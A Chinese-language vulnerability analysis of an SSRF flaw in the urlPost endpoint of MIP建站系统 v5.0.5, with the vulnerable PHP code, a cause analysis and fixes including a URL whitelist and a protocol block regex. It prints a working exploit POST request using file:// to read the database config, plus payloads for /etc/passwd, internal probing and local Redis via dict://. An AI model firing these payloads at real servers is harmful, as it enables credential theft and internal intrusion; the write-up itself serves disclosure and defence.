MIP建站系统v5.0.5 SSRF漏洞分析
字数 741 2025-08-25 22:58:20
MIP建站系统v5.0.5 SSRF漏洞分析与利用
一、漏洞概述
MIP建站系统v5.0.5存在服务器端请求伪造(SSRF)漏洞,攻击者可通过后台接口构造恶意请求,读取服务器任意文件或攻击内网服务。
二、受影响版本
- MIP建站系统v5.0.5
三、漏洞位置
漏洞存在于以下文件中:
app/setting/controller/ApiAdminDomainSettings.php
四、漏洞复现步骤
1. 环境准备
- 下载受影响版本:https://mipclouds.oss-cn-beijing.aliyuncs.com/code/mipjz/mipjz-5.0.5.zip
- 搭建测试环境
2. 攻击流程
- 登录系统后台
- 访问漏洞接口:
http://[目标IP]/index.php?s=/setting/ApiAdminDomainSettings/urlPost - 发送POST请求,构造payload:
POST /index.php?s=/setting/ApiAdminDomainSettings/urlPost HTTP/1.1 Host: [目标IP] Content-Type: application/x-www-form-urlencoded postAddress=file:///C:\phpStudy\PHPTutorial\WWW\app\database.php&url=test&id=test
3. 预期结果
成功读取服务器上的敏感文件(如database.php等)
五、漏洞代码分析
1. 漏洞代码段
public function urlPost(Request $request) {
$postAddress = input('post.postAddress');
if (!$postAddress) {
return jsonError('请先去设置推送的接口');
}
$api = trim($postAddress);
if (strpos($api,'type=realtime') !== false || strpos($api,'type=batch') !== false) {
if (!config('siteInfo')['guanfanghaoStatus']) {
return jsonError('检测到您未开启熊掌号,请开启后再推送');
}
}
$url = input('post.url');
$id = input('post.id');
if (!$url) {
return jsonError('没有检测到你推送的页面地址');
}
$urls[] = $url;
$ch = curl_init();
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
2. 漏洞成因分析
-
$postAddress参数直接从用户输入获取,未经过滤:$postAddress = input('post.postAddress'); $api = trim($postAddress); -
该参数直接用于cURL请求的URL:
CURLOPT_URL => $api, -
由于缺乏对URL的协议和目标的校验,攻击者可构造
file://协议读取本地文件,或使用其他协议(如http://)攻击内网服务。
六、漏洞利用扩展
1. 可读取的文件示例
- 配置文件:
file:///C:\phpStudy\PHPTutorial\WWW\app\database.php - 系统文件:
file:///etc/passwd
2. 内网探测与攻击
- 内网服务探测:
http://192.168.1.1:8080 - Redis未授权访问利用:
dict://127.0.0.1:6379/info
七、修复建议
1. 临时缓解措施
- 限制后台访问权限
- 禁用或删除
ApiAdminDomainSettings.php文件
2. 代码修复方案
-
对输入URL进行白名单校验:
$allowed_domains = ['example.com', 'trusted-domain.com']; $parsed = parse_url($api); if (!in_array($parsed['host'], $allowed_domains)) { return jsonError('非法的请求地址'); } -
禁用危险协议:
if (preg_match('/^(file|dict|gopher|ftp)/i', $api)) { return jsonError('禁止使用的协议'); } -
使用更严格的URL验证:
if (!filter_var($api, FILTER_VALIDATE_URL)) { return jsonError('无效的URL'); }
八、总结
该SSRF漏洞源于对用户提供的URL参数缺乏有效过滤,导致攻击者可通过构造恶意URL读取服务器文件或攻击内网服务。开发人员应始终验证和过滤用户输入,特别是用于网络请求的参数。